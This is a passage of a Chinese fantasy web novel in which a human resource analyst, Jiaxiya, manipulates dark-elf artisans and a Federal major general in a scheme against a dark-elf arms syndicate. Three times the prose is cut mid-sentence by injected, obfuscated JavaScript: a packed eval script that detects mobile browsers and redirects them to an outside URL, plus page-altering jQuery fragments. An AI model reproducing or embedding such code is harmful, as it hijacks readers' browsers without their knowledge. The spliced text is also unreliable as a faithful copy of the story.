“可要是暗河没了,暗精灵永远不可能崛起。”有微弱的反对声。 “得了吧?要不是他们,其它族裔也不会像现在这样痛恨我们!” “我承认……但不管你怎么说,影子同盟的魔导军火技术是一流的,远超联邦中央研究院和矮人工匠协会。他们是卓尔王的骄傲。” 本来和谐地喝着酒的暗精灵们,这时忽然都激动争吵起来。 “他们抢占地下工匠的生意,还掠夺和压榨优秀工匠!” “那是他们提供了更好的工作机会!” “那明明是在挤压我们原本的工作机会!生意都被他们垄断了!” “这是唯一一个真正为暗精灵撑腰的组织!你要是不满意他们,你就自己再建立一个!” “你……”被反驳了的精灵一下起身,指了指泽诺,“你看看他,看看他的手和脚!我只管眼前的事!你好意思为暗河说话吗?”众人都看向泽诺。 然而处在话题中心的泽诺,却似乎不太想提暗河——影子同盟的事,只是一口接一口地喝闷酒,倒空的酒瓶就随手往废弃零件堆一砸,破碎成片。 拉斐尔想起此番来意,同时也为了平息争吵,便趁这个空挡插嘴,讲起加茜娅要修复一枚魔导武器戒指的事。 加茜娅将戒指从手提包里拿出来,放在泽诺的工作台上。 “人类小姐,如你所见,我的手脚都废在一场军火爆炸实验中了,我已经是个没用的废物,再也玩不动精密的魔导机械配件,只能做些低级学徒活儿。” 泽诺瞥一眼戒指,灰暗的脸上透着红润醉意,伸出自己的钢铁手指供他们参观:“修复这种普通魔导武器原本不难,但现在的我只能说勉强一试,不保证成功。” “以你的能力和谨慎习惯,怎么会产生爆炸那种严重后果?”拉斐尔问。 “我也不敢相信。”泽诺仰头猛灌一口酒,“我怀疑是自己晋升太快,被谁嫉妒和利用了。我有人选,可我没证据。” 加茜娅留意到,他那双被肉筋挤着的狭长眼中似有不甘与愤恨。 “暗河为你买保险了吗?” “他们驱逐我的时候,说会给我一笔补偿——我可记着呢。现在生意不好做,萝拉需要这笔钱,她将来得去最好的学校。” “那他们给你了吗?”加茜娅仿若犹豫着,在大家都默不作声的时候提起。 “嗬嗬!”泽诺沙哑着嗓子冷笑数声,“别说给钱了,光暗杀我就遇到过好几起了,恐怕他们会为了逃掉赔偿金和官司,不惜残害无辜。我已经听说这一批的工匠里有意外去世的了。还有些家伙,不要脸,给他们做伪证呢!” “可惜了,没有谁能干得过暗河。他们最近似乎和人类家族里的那个……那个蒙格马利搭上线了?这就更没办法了。”鲁格巴说。 “所以,我不想谈他们,谈也没用,好坏都由他们的嘴说尽。”泽诺很平静。 气氛再度平静,这回是更加压抑下来。 加茜娅原本只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894516|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想赌一把,走一步看一步。可这个时候,所有的机会都撞到她面前了,此时不发声,更待何时?她抢在鲁格巴要开口揭过之前,提议: “说起这个,我倒有一个帮助你们的好办法——让蒙格马利在军部的那位来采购你们制造的魔导军火,并且是合法合规的途径,今后全都明面交易。”这样,就相当于帮他们将失去的生意从暗河手里抢夺回来。 闻听此言,围坐着的暗精灵们都放下酒杯发笑。 拉斐尔轻咳一声:“亲爱的,你可能忘了,这里剩下的工匠没法造出那么精良的魔导军火,而且我们也没有资源署和蒙格马利家的合作交情。” “你的想法很好,但说得也很轻巧。”泽诺神情淡漠,“自从暗河抢占魔导军火市场,地底工匠就没再接到过这类新单子了。哪儿能那么容易就和军部联系上?况且人家凭什么相信我们?”他对此人类幼稚的提议嗤之以鼻。 加茜娅的声音清晰而冷静。她并不打算亲自牵线,而是引导他们自己争取: “这正是我接下来要讲的:既然口头言辞不足以令人信服,何不直接送上一份魔导军火的礼物,作为求合作的敲门砖?” “你想让我们自己垫钱买材料,做一场看不清回报的投资?”泽诺问。 所有精灵都看着他俩。这名人类女孩的面孔在熔炉跳动的火光下明灭不定,而狡黠的眼底和微笑时露出的一点牙齿像星星般闪烁着光泽。 她说:“钱,材料,军火,明明都等在那,为什么你们不抢?” “等在哪?暗河手里?你倒说说怎么抢?” 此刻,在加茜娅心里,一场针对莫伯斯和影子同盟的,由自己、阿纳鲁、暗精灵工匠兵分三路的配合战计划,已完全明晰。这将彻底摧毁莫伯斯和影子同盟的合作,并后续予以他们更加沉重的打击。 她强忍着不勾动嘴角。甚至,她还预备有最后的致命一击,不过现在不必要说。她有办法让所有人不得不步步深入,继续参与她的计划。 加茜娅像一个女巫那样,坐在炉子旁边缓缓念动迷人的诡计,歹毒的咒语。明明最开始是她想请他们帮忙,结果弄到最后,好像是她来帮助他们。 几名暗精灵沉吟良久,脸上一扫之前面对加茜娅时的轻佻戏谑,无不露出难以压抑的激动,但他们看向泽诺,等他最后发话。 泽诺拿机械手指轻轻叩着酒瓶,片刻后突然抬起眼盯住她:“加茜娅……希望我没念错你的名字。我很感激,也很好奇,你为什么这么做?” “原本就是我请拉斐尔来找你,修复我的旧戒指呀!”加茜娅眯起眼,“你们伟大的卓尔王说过,以恩还恩,以牙还牙,一报偿一报。” 就在这时,拉斐尔猛地抬头,瞪大眼睛看向加茜娅。他似乎现在才迟钝地反应过来,明白了点什么,又好像没明白透。 加茜娅根本就不是来修戒指的,也不是来了解他的家的。 那天离开地下城的时候,他沉默着跟在她身后——过分聪明的加茜娅,完全记住了下来时的复杂路线,除魔法屏障以外,几乎不需要跟他有任何接触。 她心情很好,甚至哼起不知名的歌谣,旋律有些像地底矮人们的劳动号角。 可拉斐尔无暇欣赏。就在走出废弃仓库的时候,他浑浑噩噩地攥住了她的手腕:“加茜娅,你骗了我吧?” 他低头注视她,心跳如山崩碎石。 “其实你并不需要修复什么戒指——我早就知道,这种报废魔导物件很常见。你是想给那个人类军官抢资源、帮他在家族里夺位吧?你和我的事全是为了他,对不对?” 13.Chapter 13. 深渊 凌晨三点,这个时间段的暗巷里无人来往。几条横七竖八的醉鬼倒在垃圾堆上,体表皮肤结了淡淡的白霜壳。 月亮埋进乌云,路边灯光昏黯,世间所有事物都失去颜色,只有加茜娅抬起的小巧的脸,一掌莹白透着红晕,映入拉斐尔瞳孔中。 人类呼出的气息是陌生而温热的,若有似无地拂过暗精灵冰冷的面颊。她静静地望着他,他也垂眼注视着她。 刹那恍惚间,拉斐尔想起自己小时候,曾在地下城蕈林深处见到过一种剧毒无比的美丽蝴蝶,皎洁清亮如月辉。那是暗精灵传说里最神秘危险的猎物。 老一辈们说,只有胆敢蒙上眼睛、麻痹所有感官知觉的捕猎者,才能循着心的引导捉住它。至于触碰了剧毒的捕猎者命运如何,没有后续,也没谁见过这样的傻子。传说只存在于口口相传的史诗故事之中。 年幼的他梦想成为传奇,于是闭上眼,摸索着跟了上去。结果,他失足坠入黑湖崖的深渊中,要不是侥幸被崖壁上的藤蔓勾住脚踝,他没准早就通向地心,扑进卓尔王永恒长眠的幽暗坟穴了。 像那样的传说级猎物,他长大后用弩匕射杀过许多。但那天那只飞向深渊的蝴蝶,他至今没再见过。 然而,当加茜娅面对着他,掀起浓密弯长的睫毛时,拉斐尔又一次看见了当年那只蝴蝶,向他徐徐地展开双翅。 “告诉我,是不是那样?”加茜娅不答,他就重复问,“你今天说这些话,做这些安排,分明是有备而来。” 加茜娅没有被拉斐尔的样子吓住。事实上,她对此早有准备,只是未曾料到他反应如此激烈。 她上前两步,先从他的掌心里抽出手,轻轻地触碰他的脸颊。拉斐尔如过电般抖了一抖,那双浅银色眼睛快速眨动几下。加茜娅见他没有抗拒的意思,便将手掌贴实上去,柔缓地抚摸。 “拉斐尔,冷静点,别激动。”她直视着他的双眼,低声道,“要是我对你没有真心,又为什么要多此一举,邀请你去甜品店约会、去我家里做客?我只需要在遇见你的时候,给你报酬请你帮忙就好了,不是吗?” 她的表情真诚关切……就好像他那位慈善家哥哥,在为病人做导疗时的惺惺作态。拉斐尔垂下眼,避开她的目光。 事情坏起来了,他想。坏就坏在,他不算顶级的精明,但也不够笨;不是风流多情,却也无法坐怀不乱。他早该把心底那点瞧不上暗精灵习性的怪想法改掉,早该去花丛里经历磨练,这样才好与她打个平手。 “真心?”他嗤笑一声,“那你的真心一定分给了不少人。够忙的。” 加茜娅转动目光,开始埋怨起他:“你还好意思说我?”她看见拉斐尔眉毛上扬,表情变得讶异,遂再接再厉地进行扫射,“论朋友你比我多,论情人就更不知道了,毕竟你是在暗精灵地下城长大的,不是吗?” 他知道她在转移话题,也清楚自己不该这么轻易就相信她。可是,她嘴里说出来的每一个字都该死地令他愉悦。 “没错。你已经看到地下城的样子了,暗精灵都一个样,我也是。”他恢复了以往懒洋洋的、漫不经心的样子。要论扯谎,他也是一把好手。 “你不怕吗?没准哪天我来了兴致,就冲你发作了?” “你和他们不同。”加茜娅摇摇头。 “怎么不同?就因为有一半白精灵的血,你就放心我?”拉斐尔扯起一边嘴角,流里流气地笑。 “因为你是游侠,你说过游侠虽自由不羁,却也会捍卫心中的道义。”加茜娅无限认真地说,“我相信我们有同样的道义,为遭遇不公的暗精灵讨回应有的权益。这点不会错,我们是站在一起的。世间还有什么情谊比这更重?” “你可真厉害,加茜娅……不过三两句话,就能叫人心甘情愿地替你卖命。”他释怀似的,笑着感叹,“接下来,你又想使唤我做什么?” “远的不提。现在这么黑,你不能让我一个人走回去吧?” 加茜娅柔声说着,伸出手环住他的腰,将下巴磕在他胸口,抬头看他。 如此话音刚落,拉斐尔就扶住她的肩膀,瞬间发动了位移术。 —————— 中州东部,联邦理工学院。 清晨稠厚的雾气散开,阳光穿过大片落地窗,照进校长室里,把满墙的勋章和联邦要员合影照描得璀璨生辉。漆亮的黑胡桃木书架上,摆满赛事奖杯、学术荣誉证书,以及魔法工程领域的各类权威书籍。 校长西格蒙·洛威尔是一名满头白发的半精灵。他穿着熨烫妥帖的、绘着银线刺绣的灰西服,面前办公桌上放着一套前执政官赠送的鎏金茶具,平常从不轻易使用,唯有招待贵客时才从高阁深柜里请出来撑门面。 办公桌对面坐着联邦军部颇负盛名的少将,阿纳鲁·蒙格马利。他曾在此就读一年后转学去军校,与眼前这位老校长有过半吊子的师生之谊。 “当年那堂魔导工程课,我到现在还记忆犹新。”阿纳鲁靠着椅背,一手端茶杯,手肘支在扶手上,随着讲话,时不时地向外一摆,很像夹了根雪茄。 “这么多年了,我也记着。当时喊你上来拆解一枚魔导核心,谁知道里面会有陷阱结构、一触即爆?说句实话,我都准备好疏散学生了,结果你竟然拿符文刻刀配合能量调节仪,用我还没教的公式破解了它!” “那也是多亏您平日里格外提点,我才临场领悟。”阿纳鲁脸上笑意始终不减,“包括联邦理工,能有如今这么多好成绩,也都多亏您的引导。换个人来,换谁来,我看都未必能做到一半。” 西格蒙嚯嚯地仰头大笑起来,拿手指了指他:“你小子!” 这般你吹我捧了半个上午之后,秘书又进门添了点心茶水。阿纳鲁端起茶杯,边喝边听着脚步,等人走了一会,状似不经意地提起:“我记得,您有个侄子,也在军部?他很不错,很……很踏实。” 校长举着杯子的手一顿,继续饮完,放好茶杯,慢慢地咽下茶水。他两手支在桌上,单面镜片后的眼睛眯起来,仍是笑:“我那不争气的小侄,竟能承蒙联邦少将的赏识?他入伍两年了,踏实是踏实,还在伊瑟尔州的戍边军队里原地踏步呢!” “年纪轻,总该得到锻炼;但锻炼到了一定地步,就该表现表现。伊瑟尔州那等苦寒之地,不能埋没人才。”阿纳鲁叹道。 “是,是。你说得很对!”校长点点头,话锋一转,“我常感慨,命运的齿轮这般完美,环环相扣,转转相承。我们年长些的,总该关照底下小辈嘛。” 阿纳鲁笑意更深:“我倒真是希望,您能一直关照我。” “我何曾不关照?”西格蒙两手一张,“你知道的,我的立场向来同蒙格马利家、霍桑家一样偏于中立,是温和的改良派,任何议案的投票都几乎一致。” “中立自然是明智之举。整个蒙格马利总体都是改良派,只不过,各人走的方向仍有细微不同。” 阿纳鲁话中有话,西格蒙一点就透 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909366|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你是我的学生。”校长摘下镜片,拿拭镜纸轻轻摩擦,“我和我的家族不支持联邦理工校友,难道支持外人呐?哈哈哈!”他手里拿着眼镜大笑起来。 阿纳鲁也低笑起来。整个校长室都回荡着他们高低交响的欢声笑语。 既已踏入家族继承人夺位之争,每一份盟党力量都奋力争取。即便再不擅外交辞令,也总会在这实操实练中,逐渐地融会贯通。 阿纳鲁临走前,参观了联邦理工学院新修的实验楼和新进的高等设备。最后路过档案馆时,他问领头秘书:“我听说档案馆也翻新了?” “是的,少将。”秘书答复,“但您只能查看授课材料和历届学生作业与论文。档案及备份需要元老院专职人员授权。” 阿纳鲁点点头:“可以。走吧。” 档案馆是联邦理工学院所有校区中最古旧的拱顶建筑之一,由暗红砖石和曜金符文柱组合构成,内部林立着一排排高耸的书架,从地面一直延伸至天花板,用机械梯可触达顶层。 “这里有没有过一位,叫加茜娅的学生?”阿纳鲁问,“我想看看她以前的材料。” 秘书查询过后,搬来一叠牛皮纸文件夹:“有的,少将。您可以坐到贵宾区查看。”他用手指一指顶楼的玻璃花园阳台,那里清幽安静,平时无人。 阿纳鲁请走了这位事务繁忙的校长秘书,独自一人坐下来,细细翻阅。 “加茜娅·德兰诺瓦?没听过这个姓氏。”他在脑海里翻检一阵,将原因归于她自称的隐士贵族背景。 联合纪元八十三年,也就是今年刚毕业,比他小了五届。 资源与环境系统工程专业。这与她在资源署所任的勘探分析师职位非常契合。 全A+的成绩单,连辅修的精灵语都不例外。《新大陆资源开发中的海洋生态影响评估》《能量流与勘探机械结构建模》《魔法石矿藏探测与辐射屏蔽技术》……这些是她的优秀案例作业,微微翘边的纸页尖角上还有钉孔痕迹。它们曾在学院荣誉长廊里流动展示过。 奖状,厚厚一沓,上至联邦级别,下至年级班级,各门各类,翻得手酸。 最后,还有些文学辅修课的作业。看不出来,她曾经居然喜欢过这些酸掉牙的诗人作品,还写出这么多的分析共鸣。 阿纳鲁一直保持着极快速的扫视,唯独到了此处,放慢速度。 “鱼从水里爬上岸,带着一身嶙峋的泪。它风化了,翘起腮鼓起翅,摇摆着跌撞着,快乐地飞入天堂。”很有趣的诗,她写的。 “薄雾山的琉璃花真的和星星一样明亮吗?”掉出一张小纸条,似乎曾在某本借阅书中夹着。 还有,原来她最不会写情诗。她在以“爱情”为主题的作业里,最后加了一句:“教授!这可难坏我了,期末考试能不能别写这种?[爱心]” 阿纳鲁想到她难得苦恼的样子,不禁失笑。诗是写得不怎么样,但他捻着那张泛黄的作业纸翻来看去,心里想:真情实感,比给自己的那封情书好些。 最后离开档案馆前,他拿着这张纸询问管理员:“我可以拓印一份吗?理由……只是学习。” 一名圆滚滚的矮人管理员正站在机械伸缩梯上,清理高处堆积的档案材料。他将静电吸尘刷插在自己裤兜里,转身低头一看,立刻摆了下手。 “哦!当然可以,尊贵的少将!您就算带走也没事,这种小作业不重要,等堆不下了就会放进碎纸机处理的!” 14.Chapter 14. 恩威 中央军事基地,号称“即便整个联邦沦陷,也不可攻破的绝对堡垒”,是中州管控最严之场所,安防措施比资源署更周密百倍。 然而加茜娅坐在军用防弹指挥车后排,就这么一路顺顺利利地过了七重防线,在关卡守卫们的注目礼中穿过空荡的独立隧道,大摇大摆地停在了基地核心区,指挥中心大楼旁。 这一次开车来接加茜娅的人,名叫詹姆斯·克莱顿,自称是阿纳鲁·蒙格马利少将的机要秘书。 加茜娅从见到他的那一刻起,便绷紧了神经。此人正是她一个月前在北岸大桥上碰瓷的那辆车的司机,这也就间接说明了,当时她没看清的,坐在车后排的人是谁。事情就这么巧。 她想来想去,终于不太情愿地得出结论:自那场舞会起,阿纳鲁就一直在观察她两面派的作态。现在观察完毕,两人都不装了,所以把这事透露出来。 “您的伪装早就露陷了!优雅的小姐。”詹姆斯开着车,幸灾乐祸地嘲笑。 加茜娅不动声色。她虽无法确定阿纳鲁敲打她的用意,但也并不害怕。合作利益当前,偷族徽、瞒身份的事都没管她,还会管她装模作样?顶了天也就是面子难看,因为自作多情而矮他一截,不至于有什么实际损失。 “为什么带我来军事基地?之前都去中央公园大街的办公室。”加茜娅问。 “不是所有人,都像吃联邦俸禄的蛀虫一样清闲,到处瞎逛。”詹姆斯见她安然稳坐,失望地“哼”了声,“少将此番回来事务繁忙,每天有很多要接见的人。你能够成为其中一员、踏进这个神圣的地方,应当深感荣幸!” 加茜娅注意到,詹姆斯总是从后视镜里偷偷瞄她,然而等她看过去,他就立马翻个白眼转开视线。 这名秘书先生仿佛要将一个月前吵输的场子找回来,絮絮不断地刺激她:“要我说,您最好快点想想,该怎么给自己寻个台阶下!噢噢!您还没见过战场吧?我们少将向来是强硬作风、铁血手腕,上一个欺骗他的家伙,骨头都在沙漠里风化、脆得能当饼干了!” “啊,是吗。”加茜娅只觉得他聒噪,转过头看着窗外。 詹姆斯发现自己总在她身上讨没趣。他咬牙切齿,一脚猛蹬在刹车上,将自己和后排的做作小姐都向前绊了个趔趄。 加茜娅揉揉撞疼的脑门,这回真有点生气了,却还不发作。 “下车!”詹姆斯拉开车门,语气冷硬。但一想到接下来的好戏,他又恢复了舒坦心情,走在她前面,脚步轻快地带路。 阿纳鲁的办公室在二楼最里面。敲过门,走进去是摆着长桌和演示板的会客厅,再往里就是办公区,隔壁还有带沙盘桌的指挥室。 室内风格简约,四面高强度灰色合金墙面,中间一张办公桌,墙角是大型军用磁动电话、立式书架和加密文件柜。 进门的时候,阿纳鲁正在批阅文件。他从电报机后抬起头,手上将钢笔帽“啪嗒”盖好。 “报告长官——” 詹姆斯刚出声,加茜娅就绕过他溜进去,把包往办公桌上一扔,自顾自地走到阿纳鲁身前,腰臀一扭,轻轻倚靠在他肩膀上。然后,抱起双手,抬头挑眉,望向詹姆斯。 “喂!你这个冒犯的家伙!赶紧下来!”詹姆斯冷汗直流,瞬间将行到一半的礼放下,几乎是同手同脚地冲上前,就要去拽她胳膊。 “詹姆斯,冷静。” 詹姆斯冷静不下来,最令他头皮发麻的一幕出现了——少将抬起一手护住加茜娅,另一只手曲起挡在他前面,制止他的举动。 光明神在上!詹姆斯确信,自己听到了内心信仰崩塌稀碎的声音,就像是一队狙击手踏碎玻璃闯进指挥中心。 “你来军部这么久,应该知道服从命令、镇定行事。”阿纳鲁放下手,指挥官帽檐下一双冰蓝的眼睛望向他,“刚才霍桑家的人送了礼单过来,放在门卫亭,麻烦你跑一趟。” “是!长官。”詹姆斯下意识单腿一蹬,举手行礼,也不看加茜娅,恍惚转过身,如被一根无形之线牵住的魂魄那样,双目无神地悠悠地飘走了。 加茜娅好奇道:“霍桑家?什么礼单?” “等会儿你就知道了。”阿纳鲁笑笑,“这多亏你给的数据,很精准,那里确实有黑晶油,我谈了几个结盟投资的家族,他们愿意在继承人问题上支持我。此外,我准备将部分利润投入中州慈善事业,拉拢更多民间势力。霍桑家就是其中之一,他们感谢我为所有济贫院设立福利基金,所以送来礼物。” 加茜娅默默地将“霍桑”之名刻在心中。她记得自己总结过,霍桑家族虽比从前没落,但财力依然雄厚,在许多领域都有投资。这或许是新的线索。 正聊着,詹姆斯回来了。 他左手捧着一叠慈善协会的感谢状和礼单,右手抱着一个精致的白水晶花盆,上面蒙了数层厚厚的黑绸布。 “砰!”秘书先生大步走到加茜娅面前,重重地放下盆栽。 “霍桑家送来……最后是七州博览会贵宾席票两张,还有这个,从北方漂浮之州空运寄来的,代表好梦成真的琉璃花。是最稀有的大株品种,畏光喜暗。” 詹姆斯语气平平地念完一长串,收好文件,双手递交给阿纳鲁。他飞快地瞟加茜娅一眼,见她依旧姿态亲密地靠在少将身上,不由嘴角一抽,随即收回目光、挺直身板,等待后续指令。 阿纳鲁没有别的指示,只说下午事毕,给他放了小半天假。詹姆斯于是又恍恍惚惚、双目无神地飘荡走了。 “我听说,这种花在中州贵族之间很受欢迎。”阿纳鲁状似无意地提起,“我不擅长养活物。你要不要看看?如果喜欢的话,就当帮忙,顺便带走。” 他说着,揭开那匹绸布。 谁也没料到,此花光亮如此之盛,将这灰暗的办公室映得华彩堂皇。 两人都闭了下眼。等适应后才睁开打量:此物半臂大小,形态极似铃兰,藤蔓上花朵垂挂如宝珠,花瓣表层薄如蛋壳膜,里面缓缓流动着碎星般的液体,倒像有血液呼吸一般生机蓬发,令人神思震撼。 琉璃花。这是加茜娅学生时代最为好奇,但从未见过的珍稀植物。她自知时日所剩无多,却偏偏在这时见到它,连带收下他的人情。 “多谢。”加茜娅的心脏咚咚直跳。她垂下眼,缓缓回过神来。由她的天性来讲,送礼越送到心坎上,就越要警惕狐疑。 阿纳鲁又将话题转向桌上的门票,继续说:“这次的七洲博览会有香水展。你上次说过,对这个感兴趣。如果周末有空的话,可以同去;我正好也有几个展想看。这样,两张贵宾席票,也不算浪费。” 这更是一份精准送到心坎上的礼物。加茜娅心里虽揣着事,面上还是微微一笑:“长官有心了!那我就沾沾光,一起去啦。” “小事……你喜欢就好。”那声“长官”对他来说,莫名别扭。他感受着肩膀上柔软的重量,很想长叹一声。 加茜娅早在进门之时,就已经打量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931870|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过房间。此时,她忽然福至心灵,目光又一次快速扫过角落那台书架: 除了明显有些年岁的军事战术、魔导机械工程书籍以外,另摆了些新书,主要是资源专业相关论著,像《新大陆沿海魔法污染治理》《资源勘探机械力场调节理论》等。甚至,还有一些精灵语教材和词典。 信息量有点大。一时之间,万千思绪涌入心怀。 她打了个寒战:他查过自己!所以才了解她从不透露的过往和心愿,每一步都投其所好。这样一看,今天让詹姆斯见她也说得通了。 ——先透露碰瓷事故的实情,让她明白,自己的形象伪装和落魄身世在他面前早就不值一提,还承蒙他包容;然后展示他的新联盟势力,并补偿性地送出礼物安抚她,让她领教他的权威、手段和特殊关照。 这套恩威并施的手法,如行云流水一气呵成。恐怕他不是第一次干这种事。 她清醒且惊疑着,很突然地回忆起以前接受培训时,听过某个恐怖故事:一名女特务顶不住压力和诱惑,爱上了任务对象,在任务接近成功的关头软下心肠、功败垂成,最后反被拷问出身份。那坟头草已和当时的她一样高。 想到如此,心跳加速。他俩早已讲明合作关系,她绝不承认自己会和那女特务一般沦陷,而阿纳鲁,却展现出要把她塑造成那倒霉模样的努力! 阿纳鲁全然不知加茜娅的脑袋里在想什么,也不明白她为什么不高兴。 他心中忐忑,见她垂眼不语,以为是哪里不满意,于是斟酌再三,先把詹姆斯拉出来批评一顿:“之前北岸大桥的事故,我一直没来得及跟你说。詹姆斯态度不好,他已经知道错,所以这次休假回来,主动提出过去接你。” “所以你早就知道我什么样。”加茜娅顺着他的话说下去,声音很温和,“后来看我对你做的一切,都像看戏吧?倒是我,自作多情了。” “我只是向你坦白想法。实际上,我并没有因此对你产生任何意见。我的所有表现,真情实意。” “别告诉我,这些合作也是真情实意,没有其它利益心思?”她下意识反驳。 很长一段时间的沉默后,阿纳鲁决定给自己留点面子:“……好吧。我承认,你说的都对。一切基于利益。”他总觉得哪里有问题,同时感到有许多话该说,但基于他们的关系,又一句都说不出口。 加茜娅深吸一口气,叫自己保持理智冷静,调整出友好的脸色。 可她越是如此,阿纳鲁内心深处就越郁闷烦躁。他索性转开眼不看她。 “啊,原来真的一点也不动心呢。”她有点不知道自己在说什么,只是仿若挣扎一般地叹息,“我还以为,我对少将大人来说会有些许不同呢?原来是我想多了。” “……”阿纳鲁也很想叹气,甚至想一个人待会儿,“不必这样,加茜娅。”他最后真的叹了口气。 “那就不这样。”加茜娅轻飘飘地说着,俯过身,探出一只手游移向下,按在他不断起伏的胸口上,“你看你,急什么?我们是合作伙伴,有事好好说,不要激动嘛。现在来谈谈后天的行动?” 阿纳鲁一动不动地坐在那,脸上没有表情。 加茜娅外套里穿的是一条低领针织黑裙,倾下身时,侧面领口就在他眼前晃荡出大片雪白。柔软的发丝垂下来,贴在蒙了一层薄汗的锁骨肌肤上,向下蔓延到看不见的深处,随她轻浅的呼吸上下浮动。 就这么静滞片刻,他忽然突兀地笑了一声。 15.Chapter 15. 暗夜谍照 “加茜娅。”他抬起一点眼皮,蓝眼珠慢慢转上来,“你总是很放肆。你是不是觉得,我一定不会碰你?” 房间内气氛陡然凝滞。加茜娅动作停顿,从善如流地收回手。她听到自己的心跳声再次响如擂鼓。一种不明不白的酸胀感压在胸口。 “我尊重你是因为你的能力和合作,但名义上,你出现在这里,只是作为我的情人。”他继续说着,语气像带点讽刺意味。 “是的,您说得对。”加茜娅“哗”地站起身,走到办公桌对面去,学詹姆斯那样站得笔直,“被长官选中是我的荣幸,一切理应听从吩咐。” “……”阿纳鲁盯着桌上的文件,胸口开始急剧起伏。 但这位联邦少将向来以冷静著称,素质过硬,于是靠着扶手椅闭上眼、撑住额头,逼迫自己快速镇定。 同一时间,加茜娅也舒缓了表情。她暗自惊异于这纤细而微痛的胸闷感受,并意识到自己的处理方式有些不妥。 可是,继续那样安抚他会更有风险。 她的手还在微微发颤,却依然诚恳地说:“抱歉,刚才太激动了。” 阿纳鲁鼻翼轻动,显然也在刻意压着呼吸。他放下手,垂眼停顿几秒,重新抬起头。 “那些话,你当我没提过。” 两人彼此对视一眼,非常默契地将话题转向下一步行动安排。 加茜娅主动而大方地,解释起下一场针对莫伯斯的打击行动,其中可以如何融入挑拨离间成分。 她没意识到,自己甚至说得过于详细琐碎了。这很罕见,可她停不下来,因为她的心脏还在暗暗急跳。 “我听你说,那位暗精灵工匠失去了四根手指和一条腿。那么,即便他有机械肢节辅助,也很难造出高精度仪器。”阿纳鲁提到。 “相信我。”加茜娅终于露出点笑容,“只要他真的想做,就算是口头传授别人,最后也能做成。我已经拿到消息,‘微型拍摄器’改装成功,即使是暗光环境也能捕捉成像。” “那我真是有些期待这次的合作结果,以及他们的投诚礼了。” “影子同盟和暗精灵底层工匠积怨已久,矛盾早晚都会爆。只需稍稍加以引导,他们就会扯上莫伯斯一起,自取灭亡。” “加茜娅。”阿纳鲁端详着她,非常客观地评价,“你是人在资源署,尽晓天下事。” 不光如此,还尽识人心,净冒坏水。他表面不说,心里居然松下了方才的郁闷,转而开始想笑: “既然你也安排好了,那就——敬候佳音。预祝行动顺利。” —————————— 当夜,雨雪交加。中州西北部,一处因毒气泄露事故而废弃多年的化工厂园区里,正有许多微弱光点晃动着。 那是一队佩戴着照明设备、全副武装的人类火枪手,他们对面围站着夜视能力极强的暗精灵们。 此地乃是园区中心的巨型主厂房大厅,曾用于军事化工生产。而今年久失修,高耸的钢梁架上垂下棉絮般厚而长的蛛丝,齿轮碎片、废弃运输带和因地面塌陷而露出的管道随处可见,有的还残留着淡黄色化学药剂废液,酸臭难闻。 暗精灵背后空地上,堆满了布满漆黑污垢、锈迹斑斑的大型机器,以及——许多印着加密魔纹的铁皮箱子。屋顶通风口和两边高架走廊上,双方都设了暗哨和狙击手。几辆厢式货车停在外围,被凛冽寒风敲打作响。 厂房门口,一名身材高大、体格丰硕的女性暗精灵穿着软甲,手里捏着一枚黑曜石模样的小发卡。她满头的鲜艳红发编成细辫,发丝中间点缀着许多不同颜色闪闪发光的宝石装饰。 艾莉对着废弃钢材的倒影,将这枚伪装作发卡的微型拍摄器举起来,别在无数宝石中间,快速调整角度和稳固性,按下开关。 做完这一切后,她直起身。制服披风上的组织徽章在微弱亮光中闪了闪,那是一只黑身斑腿的蜘蛛,趴伏在绿玛瑙上,三颗晶亮的小金星镶嵌其中。 艾莉向厂房内稳步走去;与此同时,她听见几名暗河成员正与人类交易者闲聊。她冷笑一下,站进阴影里,先听听他们在扯什么。 “稀奇,今天只有你们几个小喽啰?莫伯斯是吃错药了么,舍不得把他那群杂碎保镖唤来?”一个暗精灵笑道。 他从某个人类手中接了根烟,并不点亮火星。大家只放在嘴里嚼个味道。 对方拿两根手指夹出烟条:“少阴阳怪气!你们不也就几个小兵蛋子?” 他往地上“呸”了下,“告诉你,是蒙格马利家内讧了!我们老大的地下赌市有暴乱,惊动了军队过来镇压,这才调走很多人!” 他身边一人见气氛不对,赶紧发言打圆场:“没事!此前的交易一向顺利,只要咱们都识相,想来今天也不会出啥问题。” “那自然!”暗精灵停顿片刻,见艾莉还没过来,便顺着往下聊,“我认识很多人类,他们觉得家族是最重要的。蝼蚁只有团结一力才能更好地存活!蒙格马利家倒是个例外。我听说他们是上一代才开始闹分裂?” “嗨,谁知道呢!上边大人物的事,咱们这些蝼蚁管不着,只管拿钱卖命。” 